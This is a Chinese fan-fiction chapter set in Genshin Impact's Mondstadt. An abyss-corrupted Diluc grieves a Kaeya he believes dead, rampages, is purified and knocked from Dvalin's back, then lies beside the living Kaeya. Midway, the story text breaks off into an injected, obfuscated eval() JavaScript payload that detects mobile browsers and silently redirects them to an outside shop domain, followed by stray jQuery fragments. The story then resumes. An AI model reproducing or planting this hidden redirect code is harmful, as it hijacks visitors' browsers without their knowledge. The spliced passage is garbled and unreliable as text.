我又让凯亚死去了!!!

    ”撤!!”

    法尔伽,迪卢克,旅行者三人立刻后跳拉开距离摆出备战姿态,但满身渊黑的骑士却没有像上一次一样突然袭击,而是尖啸着冲向魔龙乌萨的尸体。

    悲鸣声,咆哮声,血肉撕裂声,金属碎裂声骤然炸响,骑士随手捡来的大剑瞬间被坚硬的龙鳞撞碎,支持他撕开魔龙的,完全是深渊浸透的双手。

    “他——他打开了乌萨的肚子!?”

    “见鬼!”

    法尔伽立刻明白,他对骑士大吼:

    “凯亚不在里面!!清醒些!他不在里面!”

    “啊!?”

    派蒙这才堪堪知道了骑士癫狂的原因,“他以为凯亚被魔龙吃了??”

    很难想象,混沌的骑士眼中所看究竟是怎样恐怖的世界,但法尔伽的吼叫没起一点用处,在接连打碎几个内脏却一无所获后,红黑发的男人彻底失控。

    “呜啊——”

    又一次——

    又一次!!!

    “凯亚!!!”

    我竟两度任他死去!!

    天塌地陷,山崩地裂,无尽的污浊于火焰中升腾,龙血燃烧的腥气上达天际。

    “迪卢克!迪卢克!怎么办!?”

    派蒙急得要哭,“他是不是要回不来了?”

    空闻言瞳孔一暗。

    倘若命运真是如此愚拙。

    那骑士的灵魂真的会在痛苦与悔恨中消亡,败落于最后的折磨。

    凯亚现在在哪?如果把凯亚找来——

    “先快走。”

    他红发的友人打断他的思考,迪卢克脸色惊人的难看。

    “基地要塌了。”

    而且,问题还不仅只有这个。

    一声粗犷的龙吟,紧接着青亮的巨爪,尖锐的喙端刺破砖石岩壁,一口咬向漆黑的骑士。

    是特瓦林,蒙德的东风守护杀气腾腾。

    他从遥远的天际感应到邪恶的深渊,特来讨伐。

    *

    听不见龙吼与急切的呼唤,骑士的意识沉沦于迷蒙混沌。

    凯亚。

    他有时也在想,是不是和我们一样,另一个世界的凯亚与迪卢克也经历过一场争吵?

    或者说是糟糕的坦白。

    那日,他还是个乳臭未干的小子,在会议室里接过滴血的匣子时,还会怔愣地看着法尔伽张合的嘴唇。

    “迪卢克,对于克利普斯的遭遇,我真的很遗憾。”

    “我…”

    未发的怒火被猛然打断。

    迪卢克能感觉到新鲜的血液从木缝中渗出,润湿了他手套的掌心。

    而刚刚杀死故友的法尔伽蹲下,在血泊里捡起火红的神之眼。

    没有说教,没有劝阻,这北风狼一样的男人对迪卢克要退出骑士团的宣言没做任何反应。

    团长只是把神之眼擦干净,亲手塞进骑士的里怀。

    “这种世代啊,一点来自神明的关注,还是很重要的。”

    “所以别再扔了,迪卢克。”

    “我希望你能活下去。”

    迪卢克就知道,他退不出去了。

    可是啊,凯亚,凯亚,你为什么要这种时候找我坦白,在这个连法尔伽都面色沉沉的夜晚?

    什么叫坎瑞亚的间谍?什么叫复国的棋子?什么叫王国的血脉?什么叫你我之间的情谊全部诞生于谎言?

    我正要依靠你啊!凯亚!

    我打了他,逼迫他拔剑,他拔剑,却不攻击,一味地抵挡,委屈的样子就好像他才是今夜的那个受害者。

    当哭的不该是我吗?我刚失了父亲,又要失去兄弟了!

    凯亚!你为何要在今夜告诉我?!

    “因为我们随时都会死去!因为我们随时都会死去!就像父亲一样!”

    我打他打得过重,以至于他没忍住嚎啕。

    “也许是今夜,也许是明日,也许是你先,也可能是我先,在这个该死的世界里,我们随时都有可能会死去!迪卢克!”

    他的泪不断地掉下来,掉在突然出现的神之眼上。

    “我不要你到死都在被我欺骗……”

    他哭得那样凶猛,我都不好怪他了。

    所以,这个世界的迪卢克和凯亚也经历过那场争吵吗。

    哈,我想他们就算是经历过,也不会如我们那般迅速地和好。

    因为他们有大把的时间可以用来浪费,用来犟嘴,用来故作无事,再用来明知故犯地试探彼此已知的真心。

    所以在这点上,是我与我的凯亚赢了。

    ……

    凯亚。

    你确实死在我之前。

    但不是作为间谍。

    骄傲吧,你是一名英勇的骑士。

    你作为骑士,真实地死去了。

    而我这次将,杀死杀死你的那条龙——

    重复演练过千百次的动作,骑士跳上飞龙的脊背,火凤背着黑夜冲向龙的颈项,耳边传来真实又虚假的啸叫。

    风魔龙也不过如此。

    为什么有人形魔物在拦我。

    “迪——”

    风好沉重,不过能抗。

    ……风好沉重?

    不对…托举我的风,何时沉重过?

    猛地睁眼,如梦似醒,骑士首先看见的背生薄翼的天使与金发的旅人,丝丝缕缕的深渊在从自己身上被艰难抽取净化。

    ……净化?深渊还能被……抽取净化?

    从未见过的奇迹让骑士忍不住要探究,可他刚刚开始思考,浑身就一阵剧痛。

    “呜噗”,大量的黑血从口中溢出,夹杂着天使惊恐的喝止。

    [不能再净化了!他的身体和深渊融合度过高!]

    梦?现实?摇摇晃晃地直起身,骑士下意识地想继续攻击脚下的龙背,却听见一声断喝:“抬头看这里!!”

    “……?”

    骑士闻声抬头,只看见一位戴巨大镂空帽子的金发女人,这女人是谁不重要,重要的是她手里提着个异国肤色的男子。

    “凯…亚?”

    凯亚缓缓抬手,对骑士露出个温柔的苦笑。

    “看见我,高兴吗?”

    你还活着?可法尔伽怎么和我说……呃、好痛——我又做了什么?

    “迪卢克?天啊你居然还能清醒!没事了没事了哦,凯亚还活着,大家也都还活着!”

    派蒙急急地安慰了一大堆,望着满嘴血的骑士脸色又喜又忧,但她刚安慰到半道就爆发出一声尖叫,“特瓦林你要做什么?!”

    “……?”

    谁都没反应过来,包括恍惚的骑士自己,但下一秒他就感觉大半个身体都传来猛烈的剧痛,脚下一空的同时耳朵里尽是骨头断裂的脆响。

    “……”

    几秒后骑士才在空中意识到发生了什么。

    风魔龙趁他发愣时大力猛抽了他一尾巴。

    “……”

    不,应该说是风之龙。

    沉默地被甩下龙背,沉默地坠落,沉默地从千米的高空砸进青草地,骑士看见风魔龙…不,风之龙狂怒地伸爪要拍向他自己,又在许多坚定的阻拦和琴声中咆哮而去。

    “一群蠢蛋!我不管了!!”

    原来特瓦林也能像醉汉一般发脾气。

    “……”

    骑士也想走,但动不了。

    他摔得不轻,腿甲下的骨头大概已经碎成许多截了,腰也痛,盆骨发麻,胸也痛,被龙尾扫断的肋骨凹陷着,骑士仰躺在地上,不详的黑雾从他身上渐渐散去,黑血却从他的体表各处溢出。

    蓝边白裙的金发女子率先赶到,天使的眼中露出无能为力的哀愁。

    [对不起…深渊浸染的躯体…我无法缓解你的痛苦…]

    骑士没有回话,涣散的红瞳远望

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17739002|208561||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    着天空。

    法尔伽,另一个自己,不认识的少年还有……巴巴托斯似乎是一起商议了些什么,最后他们的声音越来越小,只留下熟悉的脚步声走近。

    “嗨。”

    是凯亚。

    涣散的赤瞳微微凝固。

    说真的,闹了这么一通,骑士现在真有些不知道该怎样面对他。

    “法尔伽团长想把你送到最近的医师那里,但迪卢克觉得你肯定会非常抗拒。”

    但凯亚已经自然地靠近,他一撩单边披风,与骑士并肩躺在草地上。

    “我想也是,就过来陪陪你。”

    “……”

    啊。

    今天的阳光很好,晒得身子麻酥酥的。

    也有可能是因为在长骨头,所以麻酥酥的。

    骑士一直躲避着与凯亚见面,唯恐生了多余的贪欲与妄想。

    可等到真并肩而卧的这一刻,他又感觉心境是如此地平和。

    “凯亚,我给你造成了些麻烦……”

    沉默片刻,先开口的竟是骑士。

    他声音低低的,混着些含糊的血沫。

    “你忍忍吧,反正我也待不多久了。”

    下半句倒意外地霸道。

    身边的气息一怔,随后是熟悉的朗笑,“天呐,我还以为你要道歉呢,亏我还慌乱了一瞬。”

    哼。

    骑士寡言,又要陷入沉默,可聒噪的鸟儿总想吵他起来。

    “不想说说吗?有关我的话题?说说看嘛,我真的很好奇。”

    这便是又想开我心结了。

    迪卢克又哼了一下,这次声音大多了。

    “告诉法尔伽他们…我不需要临终关怀……”

    “就不许我真好奇?不是哪个人都有这种机会的,我也想了解了解另一个自己啊。”

    这便是胡搅蛮缠了。

    “没什么好说的,你死的时候……我不在蒙德。”

    “那你在哪?雪山?讲讲嘛,我想听。”

    “我……”

    骑士缓缓地侧头,想要好好看看他,却正好对上男人明亮的星星状瞳孔。

    原来凯亚已经不知道先看他多久了。

    啊……

    “你把眼睛闭上,不要动。”

    “然后你就告诉我?”

    “……好。”

    这个狡猾的家伙啊,总是能得到他想要的。

    见凯亚左眼闭上,双手也乖巧地放在身体两边,已看不见,迪卢克就开始行动。

    他一点点地扭动身体,肉与骨在腿甲下抽搐,腰也如□□般的痛。

    但他还是成功将自己翻了个身,由躺为趴。

    但这只是个开端,凯亚闭着眼睛,听见草根被揪拽断裂的脆响,和沉重躯体一点点向自己爬来的,令人心碎的摩擦声。

    终于,经过漫长的等待,一个毛茸茸的脑袋搁在他裸露的胸膛上,被摔到软塌的手臂揽住他的腰。

    凯亚能想象,他的红发将怎样流淌在小麦色的皮肤上,而那双赤瞳又会垂出怎样思念而忧伤的弧度。

    义兄,我的义兄。

    凯亚攥紧拳头,感受着红黑发的骑士在他身上轻浅又痛苦地呼吸,和着自己的心跳,绝望的爱意跨越时空与虚实而来。

    一个绝对不需要回应的,单方面的拥抱。

    “凯亚。”

    最后,在细碎的骨骼闭合声中,骑士轻轻呼唤。

    “我在,迪卢克。”

    “你死去的时候,我不在蒙德。”

    伤痛愈合,软绵绵的手臂逐渐□□,拥抱的力度却渐渐弱了。

    “那你在哪呢。”

    “啊……”

    很快,骑士松开凯亚,他撑着义弟两边的草地再次站起来,重新站立于天地之间。

    “我出去求援。”

    “我游历五国,上天入地,寻龙访神,无一人能救我的蒙德。”